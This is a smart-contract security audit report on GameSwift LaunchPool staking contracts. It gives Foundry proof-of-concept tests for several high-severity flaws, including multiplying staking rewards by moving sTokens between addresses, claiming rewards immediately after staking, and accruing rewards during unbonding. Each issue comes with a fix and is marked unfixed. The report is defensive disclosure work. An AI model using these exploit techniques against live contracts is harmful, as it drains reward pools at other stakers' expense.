GameSwift LaunchPool Security Review

Duration: December 15, 2024 - December 18, 2024

Date: February 8, 2025

Conducted by: **KeySecurity**
gkrastenov, Lead Security Researcher

Table of Contents

1 About KeySecurity

KeySecurity is a new, innovative Web3 security company that hires top-talented security researchers for your project. We have conducted over 30 security reviews for various projects, collectively holding over $300,000,000 in TVL. For security audit inquiries, you can reach out to us on Twitter/X or Telegram `@gkrastenov` or check our previous work `here`.

2 About GameSwift

`GameSwift AI` is a Layer 2 modular blockchain optimized for gaming, powered by the $GSWIFT gas token.

Using AI and computing power to drive the mass adoption of Web3 gaming.

3 Disclaimer

Audits are a time, resource, and expertise bound effort where trained experts evaluate smart contracts using a combination of automated and manual techniques to identify as many vulnerabilities as possible. Audits can show the presence of vulnerabilities **but not their absence**.

4 Risk classification

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4.1 Impact

- **High** - leads to a significant loss of assets in the protocol or significantly harms a group of users.
- **Medium** - only a small amount of funds can be lost or a functionality of the protocol is affected.
- **Low** - any kind of unexpected behaviour that's not so critical.

4.2 Likelihood

- **High** - direct attack vector; the cost is relatively low to the amount of funds that can be lost.
- **Medium** - only conditionally incentivized attack vector, but still relatively likely.
- **Low** - too many or too unlikely assumptions; provides little or no incentive.

4.3 Actions required by severity level

- **Critical** - client **must** fix the issue.
- **High** - client **must** fix the issue.
- **Medium** - client **should** fix the issue.
- **Low** - client **could** fix the issue.

5 Executive summary

Overview

Project Name	HoneyFun
Repository	https://github.com/tkowalczyk/launchpool
Commit Hash	460d45e7821a31d0032f9e157eb0e8ad98b1c7f3
Review Hash	N/A
Documentation	N/A
Methods	Manual review

Scope

sTokenPool.sol
sToken.sol
Token.sol
StakingWithDerivative.sol
SampleRewardToken.sol

Timeline

December 15, 2024	Audit kick-off
December 18, 2024	Preliminary report
N/A	Mitigation review

Issues Found

Severity	**Count**
High	4
Medium	0
Low	1
Information	1
Total	**6**

6 Findings

6.1 High

6.1.1 User can claim more rewards than expected

Severity: *High*

Context: StakingWithDerivative.sol#L250

Description: During the calculation of the user's reward, `S_TOKEN.balanceOf(account)` is used to determine how many `sTokens` the user has in their balance. `sToken` is a standard ERC20 token, which is transferable, allowing the user to transfer their `sTokens` to any address they choose.

A malicious user can gain more rewards by using different addresses. For example, they can open 4 staking positions from 4 different addresses, and at the end of the staking period, transfer minted `sTokens` to each address one by one and call the `claimReward` function. In this way, they can multiply their rewards.

For instance, if a user expects to receive 1% of the total reward, by having 4 different open staking positions, they can easily claim x4 more rewards. The malicious user only has to pay more fees to execute this manipulation, but it is reasonable to do if the user has a significant portion of the `sTokens` from the total supply.

PoC: Copy and paste the following test into the `StakingWithDerivativeReward.t.sol` file

```
    // forge test -vvv --match-test testManipulateReward
    function testManipulateReward() public {
        //@audit-issue A user can gain more rewards.
        // They can transfer tokens to 4 other addresses, each receiving 1 token,
            just to open a position.
        // At the end of the reward period, the user will transfer their sTokens to
            each address
        // one by one and call the claimReward function, where the user's balance is
             fetched
        // to calculate the reward.

        // Fund malicus user
        // The original address from which the malicious user will deposit the
            largest amount
        address random = address(0x5);
        token.transfer(random, 500e18);
        vm.deal(random, 1 ether);

        // Four different addresses where the user will stake a small amount
        address random2 = address(0x6);
        token.transfer(random2, 1e18);
        vm.deal(random2, 0.1 ether);

        address random3 = address(0x7);
        token.transfer(random3, 1e18);
        vm.deal(random3, 0.1 ether);

        address random4 = address(0x8);
        token.transfer(random4, 1e18);
```

```
        vm.deal(random4, 0.1 ether);

        // Setup rewards
        uint256 rewardAmount = 100e18;
        token.approve(address(staking), rewardAmount);
        staking.notifyRewardAmount(rewardAmount);

        // First user stakes 100e18
        vm.startPrank(user1);
        token.approve(address(staking), 100e18);
        staking.stake{value: fee}(100e18);
        vm.stopPrank();

        // Second user stakes the same amount 100e18
        vm.startPrank(user2);
        token.approve(address(staking), 100e18);
        staking.stake{value: fee}(100e18);
        vm.stopPrank();

        // Malicious user stake 50e18
        vm.startPrank(random);
        token.approve(address(staking), 50e18);
        staking.stake{value: fee}(50e18);
        vm.stopPrank();

        // Malicious user stake 1e18
        vm.startPrank(random2);
        token.approve(address(staking), 1e18);
        staking.stake{value: fee}(1e18);
        vm.stopPrank();

        // Malicious user stake 1e18
        vm.startPrank(random3);
        token.approve(address(staking), 1e18);
        staking.stake{value: fee}(1e18);
        vm.stopPrank();

        // Malicious user stake 1e18
        vm.startPrank(random4);
        token.approve(address(staking), 1e18);
        staking.stake{value: fee}(1e18);
        vm.stopPrank();

        // The total staked amount that the malicious user stakes is 53e18 from 4
            different addresses

        // Get initial sToken balances
        uint256 user1STokens = sToken.balanceOf(user1);
        uint256 user2STokens = sToken.balanceOf(user2);
        console.log(user1STokens); // 100e18 sTokens
        console.log(user2STokens); // 50e18 sTokens

        uint256 randomSTokens = sToken.balanceOf(random);
        // sTokens = (50e18 * 150e18) / 250e18
        console.log(randomSTokens); // 30000000000000000000 = 30e18
```

```
        uint256 random2STokens = sToken.balanceOf(random2);
        // sTokens = (1e18 * 180e18) / 251e18
        console.log(random2STokens); // 717131474103585657 = ~0.7e18

        uint256 random3STokens = sToken.balanceOf(random3);
        // sTokens = (1e18 * 180.7e18) / 252e18
        console.log(random3STokens); // 717131474103585657 = ~0.7e18

        uint256 random4STokens = sToken.balanceOf(random4);
        // sTokens = (1e18 * 181.4e18) / 254e18
        console.log(random4STokens); // 717131474103585657 = ~0.7e18

        // User1 has a total of 100e18 sTokens out of a 182.1e18 total supply, which
             is 54.91% of the total rewards
        // User2 has a total of 50e18 sTokens out of a 182.1e18 total supply, which
            is 27.46% of the total rewards
        // Malicous user has a total of 32.1e18 sTokens out of a 182.1e18 total
            supply, which is 17.63% of the total rewards

        // Advance time by 10 day
        vm.warp(block.timestamp + 10 days);
        // The reward after 10 days will be calculated as rewardAmount * 10 days /
            30 days, since 30 days is the duration.
        // Therefore, the reward for 10 days is approximately 33.3e18.

        // Get rewards for user1 and user2
        uint256 user1BalanceBefore = token.balanceOf(user1);
        uint256 user2BalanceBefore = token.balanceOf(user2);

        vm.prank(user1);
        staking.getReward{value: fee}();
        vm.prank(user2);
        staking.getReward{value: fee}();

        console.log("User1 reward");
        console.log(token.balanceOf(user1) - user1BalanceBefore); //
            18299795858850859800 =  ~18e18

        console.log("User2 reward");
        console.log(token.balanceOf(user2) - user2BalanceBefore); //
            9149897929425477350 = ~9e18

        // Users should receive rewards proportional to their sToken balances
        assertApproxEqRel(
            token.balanceOf(user1) - user1BalanceBefore,
            (user1STokens * rewardAmount * 10 days) /
                (sToken.totalSupply() * (endTime - startTime)),
            0.01e18
        );
        assertApproxEqRel(
            token.balanceOf(user2) - user2BalanceBefore,
            (user2STokens * rewardAmount * 10 days) /
                (sToken.totalSupply() * (endTime - startTime)),
            0.01e18
        );
```

```
        // The malicious user is expected to claim 17.63% of 33.3e18, but he can
            start transferring his sTokens to each
        // address he owns one by one and begin claiming rewards. By doing this, he
            will claim 4 times more tokens.

        // Use internal function to avoid Stack too deep error
        checkMalicusUserReward(
            rewardAmount,
            random,
            random2,
            random3,
            random4,
            randomSTokens,
            random2STokens,
            random3STokens,
            random4STokens
        );
    }

    function checkMalicusUserReward(
        uint256 rewardAmount,
        address random,
        address random2,
        address random3,
        address random4,
        uint256 randomSTokens,
        uint256 random2STokens,
        uint256 random3STokens,
        uint256 random4STokens
    ) internal {
        // forge test -vvv --match-test testManipulateReward

        // First Claim
        uint256 randomBalanceBefore = token.balanceOf(random);
        vm.prank(random);
        staking.getReward{value: fee}();

        uint256 randomReward = token.balanceOf(random) - randomBalanceBefore;
        console.log("random reward");
        console.log(randomReward); // 5489938757655257940 =  ~5.4e18

        assertApproxEqRel(
            randomReward,
            (randomSTokens * rewardAmount * 10 days) /
                (sToken.totalSupply() * (endTime - startTime)),
            0.01e18
        );

        // Second Claim
        uint256 random2BalanceBefore = token.balanceOf(random2);
        vm.startPrank(random);
        sToken.transfer(random2, 30e18);

        vm.startPrank(random2);
        staking.getReward{value: fee}();
```

```
        uint256 random2Reward = token.balanceOf(random2) - random2BalanceBefore;
        console.log("random2 reward");
        console.log(random2Reward); // 5621172353455782034 =  ~5.6e18

        assertApproxEqRel(
            random2Reward,
            ((randomSTokens + random2STokens) * rewardAmount * 10 days) /
                (sToken.totalSupply() * (endTime - startTime)),
            0.01e18
        );

        // Third Claim
        uint256 random3BalanceBefore = token.balanceOf(random3);
        vm.startPrank(random2);
        sToken.transfer(random3, 30e18);

        vm.startPrank(random3);
        staking.getReward{value: fee}();

        uint256 random3Reward = token.balanceOf(random3) - random3BalanceBefore;
        console.log("random3 reward");
        console.log(random3Reward); // 5621172353455782034 =  ~5.6e18

        assertApproxEqRel(
            random3Reward,
            ((randomSTokens + random3STokens) * 100e18 * 10 days) /
                (sToken.totalSupply() * (endTime - startTime)),
            0.01e18
        );

        // Fourth Claim
        uint256 random4BalanceBefore = token.balanceOf(random4);
        vm.startPrank(random3);
        sToken.transfer(random4, 30e18);

        vm.startPrank(random4);
        staking.getReward{value: fee}();

        uint256 random4Reward = token.balanceOf(random4) - random4BalanceBefore;
        console.log("random4 reward");
        console.log(random4Reward); // 5621172353455782034 =  ~5.6e18

        assertApproxEqRel(
            random4Reward,
            ((randomSTokens + random4STokens) * 100e18 * 10 days) /
                (sToken.totalSupply() * (endTime - startTime)),
            0.01e18
        );

        // The sum of randomReward + random2Reward + random3Reward + random4Reward =
             5.4e18 + 3 * 5.6e18 = ~22.2e18 tokens.
        // 22.2e18 is the total amount of tokens that the malicious user will claim
            after 10 days.
        // He is supposed to claim only 17.63% of 33.3e18, which is 5.87e18, but he
            ends up claiming 4x more tokens.
    }
```

Recommendation: Do not use `S_TOKEN.balanceOf(account)` when calculating the reward; use the amount of tokens that the user staked.

Resolution and Client comment: Not fixed. Planning to rewrite the whole codebase.

6.1.2 Wrong calculation of timeElapsed

Severity: *High*

Context: sTokenPool.sol#L206

Description: When the user stakes for the first time, the `timeElapsed` is calculated based on the following formula:

```
timeElapsed = currentTime - lastUpdateTime[user];
```

In this case, `lastUpdateTime[user] = 0` and the `timeElapsed` will be equal to `block.timestamp`. So, the user can directly call the `claimRewards` function and receive a significant reward, as the duration of their staking is less than a few minutes. **PoC:** Copy and paste the following test into the `sTokenPoolRewards.t.sol` file

```
    // forge test -vvv --match-test testClaimRewardDirectlyAfterStake
    function testClaimRewardDirectlyAfterStake() public {
        vm.warp(startTime);

        uint256 rewardsBefore = rewardToken.balanceOf(user1); // 0

        vm.startPrank(user1);
        sToken.approve(address(pool), STAKE_AMOUNT);
        pool.stake{value: initialFee}(STAKE_AMOUNT);

        // Claim reward directly after stake
        pool.claimRewards{value: initialFee}();
        uint256 rewardsAfter = rewardToken.balanceOf(user1); // reward:
            59896729208250166333
        console.log(rewardsAfter);

        assertTrue(rewardsBefore != rewardsAfter);
    }
```

Recommendation: When the user stakes for the first time, set `lastUpdateTime[user] = block.timestamp`.

Resolution and Client comment: Not fixed. Planning to rewrite the whole codebase.

6.1.3 Wrong distribution of the reward

Severity: *High*

Context: sTokenPool.sol#L208

Description: The reward in the `sTokenPool` is wrongly distributed. Each user is expected to claim a proportion of the total reward equal to the proportion of tokens they have staked from the total staked tokens. So, if a user has 50% of the total staked tokens, they are expected to claim 50% of the total reward.

When the reward is being calculated, `REWARD_TOKEN.balanceOf(address(this))` is used to determine how many reward tokens the contract holds. After each reward claim, the next user will receive fewer tokens than expected because the balance of reward tokens in the contract will be lower. As a result, each user will claim a proportion from a smaller reward pool.

PoC: Copy and paste the following test into the `sTokenPoolRewards.t.sol` file

```
    // forge test -vvv --match-test testWrongDistributionOfReward
    function testWrongDistributionOfReward() public {
        address user3 = makeAddr("user3");
        vm.warp(startTime);
        vm.deal(user3, 1 ether);

        vm.startPrank(owner);
        sToken.mint(user3, INITIAL_BALANCE); // 1000 ether
        vm.stopPrank();

        // user1 stake 50%
        vm.startPrank(user1);
        sToken.approve(address(pool), 500e18);
        pool.stake{value: initialFee}(500e18);

        // user2 stake 30%
        vm.startPrank(user2);
        sToken.approve(address(pool), 300e18);
        pool.stake{value: initialFee}(300e18);

        // user1 stake 20%
        vm.startPrank(user3);
        sToken.approve(address(pool), 200e18);
        pool.stake{value: initialFee}(200e18);

        vm.warp(startTime + 8 days); // staking period is over

        // user1, user2 and user3 claim their rewards
        vm.startPrank(user1);
        pool.claimRewards{value: initialFee}();
        uint256 user1Reward = rewardToken.balanceOf(user1); // reward:
            500000000000000000000, 50_000e18

        vm.startPrank(user2);
        pool.claimRewards{value: initialFee}();
        uint256 user2Reward = rewardToken.balanceOf(user2); // reward:
            150000000000000000000, 15_000e18, 30% from 50_000e18

        vm.startPrank(user3);
        pool.claimRewards{value: initialFee}();
        uint256 user3Reward = rewardToken.balanceOf(user3); // reward:
            700000000000000000000, 7_000e18, 20% from  35_0000e18

        // wrong distribution of reward
        console.log(user1Reward);
        console.log(user2Reward);
        console.log(user3Reward);
    }
```

Recommendation: Instead of using `REWARD_TOKEN.balanceOf(address(this))` every time, use a storage variable that determines how much is the reward at the begging of the staking.

Resolution and Client comment: Not fixed. Planning to rewrite the whole codebase.

6.1.4 The user accrues rewards for the unbonding period

Severity: *High*

Context: StakingWithDerivative.sol#L250

Description: A user can accrue rewards even when they have an active unbonding request. If the user stakes their tokens, then initiates an unbonding request and later cancels the request, they will accrue rewards for the period during which the unbonding request was active, even if the sTokens were burned.

PoC: Copy and paste the following test into the `StakingWithDerivativeReward.t.sol` file

```
    // forge test -vvv --match-test testAccrueRewardWhenUnbondingRequestIsActive
    function testAccrueRewardWhenUnbondingRequestIsActive() public {

        // Setup rewards
        uint256 rewardAmount = 100e18;
        token.approve(address(staking), rewardAmount);
        staking.notifyRewardAmount(rewardAmount);

        // User stakes tokens
        vm.startPrank(user1);
        token.approve(address(staking), 10e18);
        staking.stake{value: fee}(10e18);

        // Advance time and collect rewards multiple times
        uint256[] memory rewards = new uint256[](3);

        // First collection after 1 day
        vm.warp(block.timestamp + 1 days);
        uint256 balanceBefore = token.balanceOf(user1);
        staking.getReward{value: fee}();
        rewards[0] = token.balanceOf(user1) - balanceBefore;

        // Initiate unbond for all tokens
        staking.initiateUnbond{value: fee}(10e18);

        vm.warp(block.timestamp + 5 days);
        staking.cancelUnbond();

        balanceBefore = token.balanceOf(user1);
        staking.getReward{value: fee}();
        rewards[1] = token.balanceOf(user1) - balanceBefore;

        console.log("Reward1:");
        console.log(rewards[0]);

        console.log("Reward2:");
        console.log(rewards[1]);
    }
```

Recommendation: Do not accrue rewards when the user has an active unbond request, even if they cancel the unbond request later.

Resolution and Client comment: Not fixed. Planning to rewrite the whole codebase.

6.2 Low

6.2.1 Incorrect rewardRate when the contract is notified more than once

Severity: *Low*

Context: StakingWithDerivative.sol#L126

Description: When new rewards are added to the staking pool, the reward rate is calculated based on `reward / duration`, as these rewards are newly added tokens. If the `notifyRewardAmount` function is called more than once, the remaining reward tokens in the contract will not be included in the total reward, and the reward rate will be lower.

For example, at the beginning, the reward is `100,000e18` tokens, and the reward rate is `100,000e18 / 30 days` duration = 30 days, After 15 days, the owner adds another `100,000e18` to the reward pool. The reward rate will then be `100,000e18 / 15 days` instead of `150,000e18 / 15 days`.

Recommendation: When calculating the reward rate, add the remaining tokens.

Resolution and Client comment: Not fixed. Planning to rewrite the whole codebase.

6.3 Information

6.3.1 Unnecessary checking for valid input amount

Severity: *Information*

Context: sTokenPool.sol#L193

Description: The owner has the ability to withdraw reward tokens at any time by calling the `withdrawRewardTokens` function. In this case, the owner is a trusted address, which is expected not to withdraw 0 tokens from the contract. Even if the amount is 0, the transaction will not fail and will not lead to any problems. Therefore, the `validateAmount` function is unnecessary in this case.

Recommendation: Remove the `validateAmount` modifier from the `withdrawRewardTokens` function.

Resolution and Client comment: Not fixed. Planning to rewrite the whole codebase.